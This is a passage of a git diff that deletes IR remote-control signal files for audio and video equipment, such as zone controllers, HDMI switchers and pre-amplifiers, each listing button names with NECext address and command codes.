-type: parsed -protocol: NECext -address: 85 53 00 00 -command: 95 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 96 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 96 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 97 00 00 00 -# -name: RR -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9E 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A0 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A1 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A2 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A3 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A5 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A6 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A7 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A8 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: A9 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 85 53 00 00 -command: AA 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 85 53 00 00 -command: AB 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 85 53 00 00 -command: AC 00 00 00 -# -name: GRP -type: parsed -protocol: NECext -address: 85 53 00 00 -command: AD 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 85 53 00 00 -command: AE 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 53 00 00 -command: AF 00 00 00 -# -name: TRACK_< -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B0 00 00 00 -# -name: TRACK> -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B1 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B2 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B3 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B4 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B5 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B6 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B7 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B8 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 85 53 00 00 -command: B9 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 85 53 00 00 -command: BA 00 00 00 -# -name: SEL -type: parsed -protocol: NECext -address: 85 53 00 00 -command: BB 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 85 53 00 00 -command: BC 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 85 53 00 00 -command: BD 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 85 53 00 00 -command: BE 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 85 53 00 00 -command: BF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir deleted file mode 100644 index abf385025..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 80 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 81 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 82 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 83 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 85 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 86 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 8D 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 8E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 8F 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 94 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 95 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 96 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 97 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9C 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9D 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9E 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 85 53 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir deleted file mode 100644 index 45c6c8c9e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir deleted file mode 100644 index c0cd0886b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir deleted file mode 100644 index 6af5b1d3f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAYSTATION -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 15 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 16 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 50 00 00 00 -# -name: L3 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 51 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 52 00 00 00 -# -name: START -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 53 00 00 00 -# -name: L2 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 58 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 59 00 00 00 -# -name: L1 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5A 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5B 00 00 00 -# -name: TRIANGLE -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5C 00 00 00 -# -name: CIRCLE -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5D 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5E 00 00 00 -# -name: SQUARE -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 5F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 6B 00 00 00 -# -name: MACRO_1 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 6C 00 00 00 -# -name: MACRO_2 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 6D 00 00 00 -# -name: MACRO_3 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 6E 00 00 00 -# -name: MACRO_4 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 6F 00 00 00 -# -name: MACRO_5 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 70 00 00 00 -# -name: MACRO_6 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 71 00 00 00 -# -name: MACRO_7 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 72 00 00 00 -# -name: MACRO_8 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 73 00 00 00 -# -name: MACRO_9 -type: parsed -protocol: NECext -address: 1A DA 00 00 -command: 74 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir deleted file mode 100644 index 910682100..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1F 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2A 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2C 00 00 00 -# -name: CHAPTER_PREVIOUS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: CHAPTER_NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: SLOW_BACK -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 60 00 00 00 -# -name: SLOW_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 61 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: DIRECTION_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: DIRECTION_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: DIRECTION_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: DIRECTION_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir deleted file mode 100644 index e7a70794b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 07 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 08 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 09 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 0A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 0B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 0C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 10 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 13 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 17 00 00 00 -# -name: ALL -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 18 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 1A 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 1B 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 1E 00 00 00 -# -name: UNIT -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 1F 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 41 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 42 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 4A 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: 40 9F 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir deleted file mode 100644 index 14dad1df1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,470 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SELECT_SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: SELECT_PHONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: SELECT_AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: SELECT_TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: SELECT_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: SELECT_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: SELECT_VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: SELECT_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: SELECT_AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: SELECT_MULTI-CHANNEL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: DIRECT_ONOFF_TGL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: SELECT_NET -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: STAND_BY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: TREBLE_CON._MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: VIDEO_OUT_SD_PROGR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: CYCLE_ASPECT_RATIO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: FOLLOW_ZONE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: VIDEO_OUT_720P -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: VIDEO_OUT_1080I -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: VIDEO_OUT_1080P -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: ROOM_EQ_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: CYCLE_DECODE_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: SELECT_DVR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: SPEAKER_TRIM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: BASS_CON._MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 27 00 00 00 -# -name: FAVORITE_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 -# -name: FAVORITE_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: BASS_INCREMENT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2C 00 00 00 -# -name: BASS_DECREMENT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2D 00 00 00 -# -name: TREBLE_INCREMENT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2E 00 00 00 -# -name: CYCLE_OUTPUT_RES -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 30 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 31 00 00 00 -# -name: LIPSYNC_CONT_MEN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: SUB_CONTROL_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 -# -name: TRACK_FORWARD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: TRACK_BACKWARD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: DISPLAY_BRIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: FRAME_RATE_50HZ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 40 00 00 00 -# -name: FRAME_RATE_60HZ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: DOLBY_VOL._ON-OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: USB_PLAY/PAUSE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: DISCRETE_DIR_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4E 00 00 00 -# -name: DISCRETE_DIR_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4F 00 00 00 -# -name: NAVIGATE_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: NAVIGATE_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: NAVIGATE_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: NAVIGATE_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: ZONE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5F 00 00 00 -# -name: TREBLE_DECREMENT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 62 00 00 00 -# -name: LIPSYNC_+_BY_1MS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 64 00 00 00 -# -name: LIPSYNC_-_BY_1MS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 65 00 00 00 -# -name: DOLBY_PL_II/IIX_GAM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 66 00 00 00 -# -name: DOLBY_PL_II/IIX_MOV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 67 00 00 00 -# -name: DOLBY_PL_II/IIX_MUS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 68 00 00 00 -# -name: MULTI-CHANNEL_AUDIO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: PLII_MUSIC_CENTER_+1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6D 00 00 00 -# -name: DOLBY_PRO_LOGIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6E 00 00 00 -# -name: DTS_NEO:6_CINEMA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6F 00 00 00 -# -name: DTS_NEO:6_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 70 00 00 00 -# -name: PLII_MUSIC_CENTER_-1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 71 00 00 00 -# -name: PLII_MUSIC_DIM_+1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: PLII_MUSIC_DIM_-1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 73 00 00 00 -# -name: PLII_PANORAMA_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 74 00 00 00 -# -name: PLII_PANORAMA_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 75 00 00 00 -# -name: DOLBY_EX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 76 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 78 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: VIDEO_OUT_SD_INTERLA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir deleted file mode 100644 index a76282a38..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NUMBER_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: NUMBER_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: NUMBER_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: NUMBER_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: NUMBER_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: NUMBER_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: NUMBER_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: NUMBER_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: NUMBER_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: NUMBER_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: DELETE_PRESET -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: PRESET_DOWN_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 55 00 00 00 -# -name: PRESET_UP_(TUNE) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir deleted file mode 100644 index cabfb2a37..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE_2_VOL._UP -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 01 00 00 00 -# -name: ZONE_2_VOL._DOWN -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 02 00 00 00 -# -name: ZONE_2_MUTE_TOG. -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 03 00 00 00 -# -name: ZONE_2_MUTE_ON -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 04 00 00 00 -# -name: ZONE_2_MUTE_OFF -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 05 00 00 00 -# -name: ZONE_2_CD -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 06 00 00 00 -# -name: ZONE_2_DVD -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 07 00 00 00 -# -name: ZONE_2_SAT -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 08 00 00 00 -# -name: ZONE_2_AV -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 09 00 00 00 -# -name: ZONE_2_TAPE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0A 00 00 00 -# -name: ZONE_2_VCR -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0B 00 00 00 -# -name: ZONE_2_DVR -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0C 00 00 00 